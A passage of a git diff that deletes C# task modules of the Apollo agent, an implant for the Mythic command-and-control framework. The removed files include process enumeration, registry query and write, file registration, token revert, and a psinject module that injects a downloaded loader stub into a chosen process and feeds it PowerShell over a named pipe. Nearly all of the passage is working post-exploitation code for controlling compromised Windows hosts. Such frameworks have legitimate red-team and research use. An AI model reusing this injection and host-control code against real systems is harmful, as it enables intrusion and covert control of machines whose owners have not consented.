ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Threading; -using TT = System.Threading.Tasks; -using System.Runtime.InteropServices; -using System.Management; -using static ApolloInterop.Enums.Win32; -using System.Security.Principal; -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Collections; -using ApolloInterop.Utils; -using System.Net.Http; - -namespace Tasks -{ - public class ps : Tasking - { - #region delegates - private delegate bool OpenProcessToken( - IntPtr hProcess, - TokenAccessLevels dwAccess, - out IntPtr hToken); - - private delegate bool NtQueryInformationProcess( - IntPtr hProcess, - int dwInformationClass, - ref ProcessBasicInformation pProcessInformation, - int dwProcessInformationLength, - out int dwLength); - - private delegate bool GetTokenInformation( - IntPtr TokenHandle, - TokenInformationClass TokenInformationClass, - IntPtr TokenInformation, - int TokenInformationLength, - out int ReturnLength); - - private delegate bool IsWow64Process(IntPtr hProcess, out bool Wow64Process); - private delegate bool IsWow64Process2(IntPtr hProcess, out IMAGE_FILE_MACHINE_ pProcessMachine, out IMAGE_FILE_MACHINE_ pNativeMachine); - private delegate bool ConvertSidToStringSid(IntPtr pSid, out string strSid); - - private IsWow64Process2 _pIsWow64Process2 = null; - private IsWow64Process _pIsWow64Process = null; - private OpenProcessToken _pOpenProcessToken; - private NtQueryInformationProcess _pNtQueryInformationProcess; - private GetTokenInformation _pGetTokenInformation; - private ConvertSidToStringSid _pConvertSidToStringSid; - - enum IMAGE_FILE_MACHINE_ - { - IMAGE_FILE_MACHINE_UNKNOWN = 0, - IMAGE_FILE_MACHINE_TARGET_HOST = 0x001, - IMAGE_FILE_MACHINE_I386 = 0x014c, - IMAGE_FILE_MACHINE_R3000_LE = 0x0162, - IMAGE_FILE_MACHINE_R3000_BE = 0x160, - IMAGE_FILE_MACHINE_R4000_LE = 0x0166, - IMAGE_FILE_MACHINE_R10000_LE = 0x0168, - IMAGE_FILE_MACHINE_WCEMIPSV2_LE = 0x0169, - IMAGE_FILE_MACHINE_ALPHA = 0x0184, - IMAGE_FILE_MACHINE_SH3_LE = 0x01a2, - IMAGE_FILE_MACHINE_SH3DSP = 0x01a3, - IMAGE_FILE_MACHINE_SH3E_LE = 0x01a4, - IMAGE_FILE_MACHINE_SH4_LE = 0x01a6, - IMAGE_FILE_MACHINE_SH5 = 0x01a8, - IMAGE_FILE_MACHINE_ARM_LE = 0x01c0, - IMAGE_FILE_MACHINE_THUMB_LE = 0x01c2, - IMAGE_FILE_MACHINE_ARMNT_LE = 0x01c4, - IMAGE_FILE_MACHINE_AM33 = 0x01d3, - IMAGE_FILE_MACHINE_POWERPC = 0x01F0, - IMAGE_FILE_MACHINE_POWERPCFP = 0x01f1, - IMAGE_FILE_MACHINE_IA64 = 0x0200, - IMAGE_FILE_MACHINE_MIPS16 = 0x0266, - IMAGE_FILE_MACHINE_ALPHA64 = 0x0284, - IMAGE_FILE_MACHINE_MIPSFPU = 0x0366, - IMAGE_FILE_MACHINE_MIPSFPU16 = 0x0466, - IMAGE_FILE_MACHINE_AXP64 = 0x0284, - IMAGE_FILE_MACHINE_TRICORE = 0x0520, - IMAGE_FILE_MACHINE_CEF = 0x0CEF, - IMAGE_FILE_MACHINE_EBC = 0x0EBC, - IMAGE_FILE_MACHINE_AMD64 = 0x8664, - IMAGE_FILE_MACHINE_M32R_LE = 0x9041, - IMAGE_FILE_MACHINE_ARM64_LE = 0xAA64, - IMAGE_FILE_MACHINE_CEE = 0xC0EE, - }; - - #endregion - - private Action _flushMessages; - private ThreadSafeList _processes = new ThreadSafeList(); - private AutoResetEvent _completed = new AutoResetEvent(false); - private bool _complete = false; - public ps(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - try - { - _pIsWow64Process2 = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "IsWow64Process2"); - } catch - { - _pIsWow64Process = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "IsWow64Process"); - } - _pOpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); - _pNtQueryInformationProcess = _agent.GetApi().GetLibraryFunction(Library.NTDLL, "NtQueryInformationProcess"); - _pGetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetTokenInformation"); - _pConvertSidToStringSid = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ConvertSidToStringSidA"); - } - - #region helpers - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct ProcessBasicInformation - { - internal IntPtr ExitStatus; - internal IntPtr PebBaseAddress; - internal IntPtr AffinityMask; - internal IntPtr BasePriority; - internal UIntPtr UniqueProcessId; - internal IntPtr InheritedFromUniqueProcessId; - } - public const UInt32 TOKEN_QUERY = 0x0008; - - [StructLayout(LayoutKind.Sequential)] - internal struct TokenMandatoryLevel - { - - public SidAndAttributes Label; - - } - - [StructLayout(LayoutKind.Sequential)] - internal struct SidAndAttributes - { - public IntPtr Sid; - public int Attributes; - } - - public string GetProcessUser(IntPtr procHandle) - { - try - { - IntPtr tokenHandle = IntPtr.Zero; - _ = _pOpenProcessToken( - procHandle, // ProcessHandle - TokenAccessLevels.MaximumAllowed, // desiredAccess - out procHandle); // TokenHandle - return new WindowsIdentity(procHandle).Name; - } - catch // If we can't open a handle to the process it will throw an exception - { - return ""; - } - } - - public int GetParentProcess(IntPtr procHandle) - { - try - { - ProcessBasicInformation procinfo = new ProcessBasicInformation(); - _ = _pNtQueryInformationProcess( - procHandle, // ProcessHandle - 0, // processInformationClass - ref procinfo, // ProcessBasicInfo - Marshal.SizeOf(procinfo), // processInformationLength - out _); // returnLength - return procinfo.InheritedFromUniqueProcessId.ToInt32(); - } - catch - { - return -1; - } - } - - private string GetProcessCommandLine(int processId) - { - string result = ""; - try - { - using (ManagementObjectSearcher mos = new ManagementObjectSearcher( -String.Format("SELECT CommandLine FROM Win32_Process WHERE ProcessId = {0}", processId))) - - { - foreach (ManagementObject mo in mos.Get()) - - { - if (mo.GetPropertyValue("CommandLine") != null) - { - result = mo.GetPropertyValue("CommandLine").ToString(); - result = Uri.UnescapeDataString(result); - break; - } - } - } - } - catch { } - return result; - } - - private int GetIntegerIntegrityLevel(string il) - { - int result = 0; - switch (il) - { - case "S-1-16-0": - result = 0; - break; - case "S-1-16-4096": - result = 1; - break; - case "S-1-16-8192": - result = 2; - break; - case "S-1-16-12288": - result = 3; - break; - case "S-1-16-16384": - result = 3; - break; - case "S-1-16-20480": - result = 3; - break; - case "S-1-16-28672": - result = 3; - break; - default: - break; - } - return result; - } - - private string GetIntegrityLevel(IntPtr procHandle) - { - // Returns all SIDs that the current user is a part of, whether they are disabled or not. - // slightly adapted from https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418 - IntPtr hProcToken; - var TokenInfLength = 0; - TokenMandatoryLevel pTIL; - IntPtr StructPtr; - bool Result = false; - string sidString; - long dwIntegrityLevel = 0; - try - { - Result = _pOpenProcessToken(procHandle, TokenAccessLevels.Query, out hProcToken); - } - catch - { - return ""; - } - if (!Result) return ""; - // first call gets length of TokenInformation - Result = _pGetTokenInformation(hProcToken, TokenInformationClass.TokenIntegrityLevel, IntPtr.Zero, TokenInfLength, out TokenInfLength); - var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); - Result = _pGetTokenInformation(hProcToken, TokenInformationClass.TokenIntegrityLevel, TokenInformation, TokenInfLength, out TokenInfLength); - - if (!Result) - { - Marshal.FreeHGlobal(TokenInformation); - return ""; - } - pTIL = (TokenMandatoryLevel)Marshal.PtrToStructure(TokenInformation, typeof(TokenMandatoryLevel)); - if (!_pConvertSidToStringSid(pTIL.Label.Sid, out sidString)) - { - sidString = ""; - } - Marshal.FreeHGlobal(TokenInformation); - - return sidString; - } - #endregion - - - public override void Start() - { - TT.ParallelOptions po = new TT.ParallelOptions(); - po.CancellationToken = _cancellationToken.Token; - po.MaxDegreeOfParallelism = System.Environment.ProcessorCount; - try - { - TT.Parallel.ForEach(System.Diagnostics.Process.GetProcesses(), (proc) => - { - po.CancellationToken.ThrowIfCancellationRequested(); - ProcessInformation current = new ProcessInformation(); - current.UpdateDeleted = true; - current.PID = proc.Id; - current.Name = proc.ProcessName; - try - { - current.Username = GetProcessUser(proc.Handle); - } - catch - { - current.Username = ""; - } - - try - { - current.ParentProcessId = GetParentProcess(proc.Handle); - } - catch - { - current.ParentProcessId = -1; - } - - try - { - if (_pIsWow64Process2 != null) - { - if (_pIsWow64Process2(proc.Handle, out IMAGE_FILE_MACHINE_ processMachine, out _)) - { - switch (processMachine) - { - case IMAGE_FILE_MACHINE_.IMAGE_FILE_MACHINE_UNKNOWN: - current.Architecture = "x64"; - break; - case IMAGE_FILE_MACHINE_.IMAGE_FILE_MACHINE_I386: - current.Architecture = "x86"; - break; - default: - current.Architecture = "x86"; - break; - } - } - else - { - current.Architecture = ""; - } - } - else - { - if (_pIsWow64Process(proc.Handle, out bool IsWow64)) - { - current.Architecture = IsWow64 ? "x86" : "x64"; - } - else - { - current.Architecture = ""; - } - } - } - catch - { - current.Architecture = ""; - } - - try - { - current.ProcessPath = proc.MainModule.FileVersionInfo.FileName; - } - catch - { - current.ProcessPath = ""; - } - - try - { - current.IntegrityLevel = GetIntegerIntegrityLevel(GetIntegrityLevel(proc.Handle)); - } - catch - { - current.IntegrityLevel = 0; // probably redundant - } - - try - { - current.SessionId = proc.SessionId; - } - catch - { - current.SessionId = -1; - } - - try - { - current.CommandLine = GetProcessCommandLine(proc.Id); - } - catch - { - current.CommandLine = ""; - } - - try - { - current.Description = proc.MainModule.FileVersionInfo.FileDescription; - } - catch - { - current.Description = ""; - } - - try - { - current.CompanyName = proc.MainModule.FileVersionInfo.CompanyName; - current.Signer = current.CompanyName; - } - catch - { - current.CompanyName = ""; - } - - try - { - current.WindowTitle = proc.MainWindowTitle; - } - catch - { - current.WindowTitle = ""; - } - - _processes.Add(current); - }); - } - catch (OperationCanceledException) - { - } - - _complete = true; - _completed.Set(); - ProcessInformation[] output = null; - output = _processes.Flush(); - if (output.Length > 0) - { - IMythicMessage[] procs = new IMythicMessage[output.Length]; - Array.Copy(output, procs, procs.Length); - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - _jsonSerializer.Serialize(output), - true, - "completed", - procs)); - } else - { - MythicTaskResponse resp = CreateTaskResponse( - "No Process Data Collected", - true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/psinject.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/psinject.cs deleted file mode 100644 index 3a7d5434..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/psinject.cs +++ /dev/null @@ -1,243 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define PSINJECT -#endif - -#if PSINJECT - -using System; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Serializers; -using System.Threading; -using System.Collections.Concurrent; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Collections; - -namespace Tasks -{ - public class psinject : Tasking - { - [DataContract] - internal struct PowerShellInjectParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - [DataMember(Name = "pid")] - public int PID; - [DataMember(Name = "powershell_params")] - public string PowerShellParameters; - } - - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _sendAction; - - private Action _flushMessages; - private ThreadSafeList _assemblyOutput = new ThreadSafeList(); - private bool _completed = false; - public psinject(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _senderEvent, - _cancellationToken.Token.WaitHandle - }); - if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - } - _complete.Set(); - }; - - _flushMessages = (object p) => - { - string output = ""; - while (!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }, 1000); - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - } - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - }; - } - - public override void Start() - { - MythicTaskResponse resp; - try - { - PowerShellInjectParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.LoaderStubId) || - string.IsNullOrEmpty(parameters.PowerShellParameters) || - string.IsNullOrEmpty(parameters.PipeName)) - { - resp = CreateTaskResponse( - $"One or more required arguments was not provided.", - true, - "error"); - } - else - { - bool pidRunning = false; - try - { - System.Diagnostics.Process.GetProcessById(parameters.PID); - pidRunning = true; - } - catch - { - pidRunning = false; - } - - if (pidRunning) - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, - out byte[] exeAsmPic)) - { - var injector = _agent.GetInjectionManager().CreateInstance(exeAsmPic, parameters.PID); - if (injector.Inject()) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", - false, - "", - new IMythicMessage[] - { - Artifact.ProcessInject(parameters.PID, - _agent.GetInjectionManager().GetCurrentTechnique().Name) - })); - string cmd = ""; - string loadedScript = _agent.GetFileManager().GetScript(); - if (!string.IsNullOrEmpty(loadedScript)) - { - cmd += loadedScript; - } - - cmd += "\n\n" + parameters.PowerShellParameters; - IPCCommandArguments cmdargs = new IPCCommandArguments - { - ByteData = new byte[0], - StringData = cmd - }; - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += Client_MessageReceived; - client.Disconnect += Client_Disconnect; - if (client.Connect(3000)) - { - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } - - _senderEvent.Set(); - _complete.WaitOne(); - _completed = true; - resp = CreateTaskResponse("", true, "completed"); - } - else - { - resp = CreateTaskResponse($"Failed to connect to named pipe.", true, "error"); - } - } - else - { - resp = CreateTaskResponse($"Failed to inject into PID {parameters.PID}", true, "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Failed to download assembly loader stub (with id: {parameters.LoaderStubId})", - true, - "error"); - } - } - else - { - resp = CreateTaskResponse( - $"Process with ID {parameters.PID} is not running.", - true, - "error"); - } - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - e.Pipe.Close(); - _cancellationToken.Cancel(); - _complete.Set(); - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); - } - - public void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) - { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - } - - private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) - { - IPCData d = e.Data; - string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); - _assemblyOutput.Add(msg); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/pwd.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/pwd.cs deleted file mode 100644 index bca11741..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/pwd.cs +++ /dev/null @@ -1,38 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define PWD -#endif - -#if PWD - -using System; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class pwd : Tasking - { - public pwd(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Kill() - { - throw new NotImplementedException(); - } - - public override void Start() - { - MythicTaskResponse resp = CreateTaskResponse( - $"{System.IO.Directory.GetCurrentDirectory().ToString()}", - true, - "completed"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/reg_query.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/reg_query.cs deleted file mode 100644 index 2d207292..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/reg_query.cs +++ /dev/null @@ -1,270 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define REG_QUERY -#endif - -#if REG_QUERY - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class reg_query : Tasking - { - [DataContract] - internal struct RegQueryParameters - { - [DataMember(Name = "hive")] - public string Hive; - [DataMember(Name = "key")] - public string Key; - } - [DataContract] - internal struct RegQueryResult - { - [DataMember(Name = "hive")] - public string Hive; - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "full_name")] - public string FullName; - [DataMember(Name = "value")] - public string Value; - [DataMember(Name = "value_type")] - public string Type; - [DataMember(Name = "result_type")] - public string ResultType; - } - public reg_query(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - private static string[] GetValueNames(string hive, string subkey) - { - using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, false)) - { - return regKey.GetValueNames(); - } - } - - private static object GetValue(string hive, string subkey, string key) - { - using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, false)) - { - return regKey.GetValue(key); - } - } - private static string GetType(string hive, string subkey, string key) - { - using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, false)) - { - RegistryValueKind kind = regKey.GetValueKind(key); - switch (kind) - { - case RegistryValueKind.None: - { - return "None"; - } - case RegistryValueKind.Unknown: - return "Unknown"; - case RegistryValueKind.String: - return "REG_SZ"; - case RegistryValueKind.ExpandString: - return "REG_EXPAND_SZ"; - case RegistryValueKind.Binary: - return "REG_BINARY"; - case RegistryValueKind.DWord: - return "REG_DWORD"; - case RegistryValueKind.MultiString: - return "REG_MULTI_SZ"; - case RegistryValueKind.QWord: - return "REG_QWORD"; - default: - return "Unknown Registry Type"; - } - } - } - - private static string[] GetSubKeys(string hive, string subkey) - { - using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, false)) - { - return regKey.GetSubKeyNames(); - } - } - - private void SetValueType(object tmpVal, ref RegQueryResult res) - { - - if (tmpVal is String) - { - res.Value = tmpVal.ToString(); - } - else if (tmpVal is int) - { - res.Value = tmpVal.ToString(); - } - else if (tmpVal is byte[]) - { - res.Value = BitConverter.ToString((byte[])tmpVal); - } - else if (tmpVal is null) - { - res.Value = "(value not set)"; - res.Type = "null"; - } - else if(tmpVal is System.String[]) - { - res.Value = string.Join("\n", tmpVal); - } - else - { - res.Value = tmpVal.ToString(); - } - } - - - public override void Start() - { - MythicTaskResponse resp; - RegQueryParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - List results = new List(); - List artifacts = new List(); - string error = ""; - CustomBrowser customBrowser = new CustomBrowser(); - customBrowser.BrowserName = "registry_browser"; - customBrowser.SetAsUserOutput = true; - customBrowser.Host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - customBrowser.Entries = new List(); - CustomBrowserEntry customBrowserEntry = new CustomBrowserEntry(); - customBrowserEntry.Children = new List(); - try - { - string[] subkeys = GetSubKeys(parameters.Hive, parameters.Key); - customBrowserEntry.CanHaveChildren = true; - if (parameters.Key.Length > 0) - { - string[] keyPieces = parameters.Key.Split('\\'); - if (keyPieces[keyPieces.Length - 1] == "") - { - keyPieces = keyPieces.Skip(0).Take(keyPieces.Length - 1).ToArray(); - } - - customBrowserEntry.Name = keyPieces[keyPieces.Length -1]; - keyPieces = keyPieces.Skip(0).Take(keyPieces.Length - 1).ToArray(); - if(keyPieces.Length > 0) - { - customBrowserEntry.ParentPath = $"{parameters.Hive}\\{string.Join("\\", keyPieces)}"; - } else - { - customBrowserEntry.ParentPath = $"{parameters.Hive}"; - } - - } - else - { - customBrowserEntry.Name = parameters.Hive; - customBrowserEntry.ParentPath = ""; - } - customBrowserEntry.Success = true; - artifacts.Add(Artifact.RegistryRead(parameters.Hive, parameters.Key)); - foreach (string subkey in subkeys) - { - results.Add(new RegQueryResult - { - Name = subkey, - FullName = parameters.Key.EndsWith("\\") ? $"{parameters.Key}{subkey}" : $"{parameters.Key}\\{subkey}", - Hive = parameters.Hive, - ResultType = "key" - }); - customBrowserEntry.Children.Add(new CustomBrowserEntryChild - { - CanHaveChildren = true, - Name = subkey, - Metadata = new Dictionary - { - { "type", "key" }, - { "value", "" }, - }, - }); - } - } - catch (Exception ex) - { - error = ex.Message; - customBrowserEntry.Success = false; - } - - try - { - object tmpVal; - string[] subValNames = GetValueNames(parameters.Hive, parameters.Key); - foreach (string valName in subValNames) - { - RegQueryResult res = new RegQueryResult - { - Name = valName, - FullName = parameters.Key, - Hive = parameters.Hive, - ResultType = "value" - }; - try - { - tmpVal = GetValue(parameters.Hive, parameters.Key, valName); - } - catch (Exception ex) - { - tmpVal = ex.Message; - } - - SetValueType(tmpVal, ref res); - res.ResultType = GetType(parameters.Hive, parameters.Key, valName); - results.Add(res); - customBrowserEntry.Children.Add(new CustomBrowserEntryChild - { - CanHaveChildren = false, - Name = valName == "" ? "(Default)" : valName, - Metadata = new Dictionary - { - { "type", GetType(parameters.Hive, parameters.Key, valName) }, - { "value", res.Value }, - }, - }); - artifacts.Add(Artifact.RegistryRead(parameters.Hive, $"{parameters.Key} {valName}")); - } - } - catch (Exception ex) - { - error += $"\n{ex.Message}"; - } - customBrowser.Entries.Add(customBrowserEntry); - if (results.Count == 0) - { - resp = CreateTaskResponse(error, true, "error", artifacts.ToArray()); - } - else - { - resp = CreateTaskResponse("", true, "completed", artifacts.ToArray()); - } - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", false, "", new IMythicMessage[] - { - customBrowser - })); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/reg_write_value.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/reg_write_value.cs deleted file mode 100644 index 5d056dac..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/reg_write_value.cs +++ /dev/null @@ -1,96 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define REG_WRITE_VALUE -#endif - -#if REG_WRITE_VALUE - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using Microsoft.Win32; -using System; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class reg_write_value : Tasking - { - [DataContract] - internal struct RegWriteParameters - { - [DataMember(Name = "hive")] - public string Hive; - [DataMember(Name = "key")] - public string Key; - [DataMember(Name = "value_name")] - public string ValueName; - [DataMember(Name = "value_value")] - public string ValueValue; - [DataMember(Name = "value_type")] - public int ValueType; - } - public reg_write_value(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - private bool SetValue(string hive, string subkey, string valueName, object valueValue, RegistryValueKind RegType) - { - using (RegistryKey regKey = RegistryUtils.GetRegistryKey(hive, subkey, true)) - { - if(RegType == RegistryValueKind.MultiString) - { - var stringPieces = valueValue.ToString().Split('\n'); - regKey.SetValue(valueName, stringPieces, RegType); - } else - { - regKey.SetValue(valueName, valueValue, RegType); - } - - return true; - } - } - - - public override void Start() - { - MythicTaskResponse resp; - RegWriteParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - bool bRet; - - if (int.TryParse(parameters.ValueValue, out int dword)) - { - bRet = SetValue(parameters.Hive, parameters.Key, parameters.ValueName, dword, RegistryValueKind.DWord); - } - else - { - bRet = SetValue(parameters.Hive, parameters.Key, parameters.ValueName, parameters.ValueValue, (RegistryValueKind)parameters.ValueType); - } - - if (bRet) - { - resp = CreateTaskResponse( - $"Successfully set {parameters.ValueName} to {parameters.ValueValue}", - true, - "completed", - new IMythicMessage[1] - { - Artifact.RegistryWrite(parameters.Hive, parameters.Key, parameters.ValueName, parameters.ValueValue) - }); - } - else - { - resp = CreateTaskResponse( - $"Failed to set {parameters.ValueName}", true, "error"); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/register_file.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/register_file.cs deleted file mode 100644 index ff6bc6ac..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/register_file.cs +++ /dev/null @@ -1,84 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define REGISTER_FILE -#endif - -#if REGISTER_FILE - - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class register_file : Tasking - { - [DataContract] - internal struct RegisterFileParameters - { - [DataMember(Name = "file_id")] - internal string FileID; - [DataMember(Name = "file_name")] - internal string FileName; - } - - public register_file(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - - public override void Start() - { - MythicTaskResponse resp; - RegisterFileParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - // some additional upload logic - if (_agent.GetFileManager().GetFile( - _cancellationToken.Token, - _data.ID, - parameters.FileID, - out byte[] fileData)) - { - if (parameters.FileName.EndsWith(".ps1")) - { - _agent.GetFileManager().SetScript(fileData); - resp = CreateTaskResponse( - $"{parameters.FileName} will now be imported in PowerShell commands.", true); - } - else - { - if (_agent.GetFileManager().AddFileToStore(parameters.FileName, fileData)) - { - resp = CreateTaskResponse( - $"{parameters.FileName} has been registered.", - true); - } - else - { - resp = CreateTaskResponse( - $"Failed to register {parameters.FileName}", - true, - "error"); - } - } - } - else - { - if (_cancellationToken.IsCancellationRequested) - { - resp = CreateTaskResponse($"Task killed.", true, "killed"); - } - else - { - resp = CreateTaskResponse("Failed to fetch file due to unknown reason.", true, "error"); - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/rev2self.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/rev2self.cs deleted file mode 100644 index 280808be..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/rev2self.cs +++ /dev/null @@ -1,36 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define REV2SELF -#endif - -#if REV2SELF - - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class rev2self : Tasking - { - public rev2self(IAgent agent, MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - _agent.GetIdentityManager().Revert(); - var current = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - $"Reverted identity to {current.Name}", true, "", new IMythicMessage[] { - new CallbackUpdate{ ImpersonationContext = "", IntegrityLevel= ((int)_agent.GetIdentityManager().GetIntegrityLevel()) } - })); - } - - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/rm.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/rm.cs deleted file mode 100644 index 8d8f19d6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/rm.cs +++ /dev/null @@ -1,137 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define RM -#endif - -#if RM - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.IO; -using System.Linq; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class rm : Tasking - { - [DataContract] - internal struct RmParameters - { - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "path")] - public string Path; - [DataMember(Name = "file")] - public string File; - } - private static string[] localhostAliases = new string[] - { - "localhost", - "127.0.0.1", - Environment.GetEnvironmentVariable("COMPUTERNAME").ToLower() - }; - - public rm(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - RmParameters parameters = 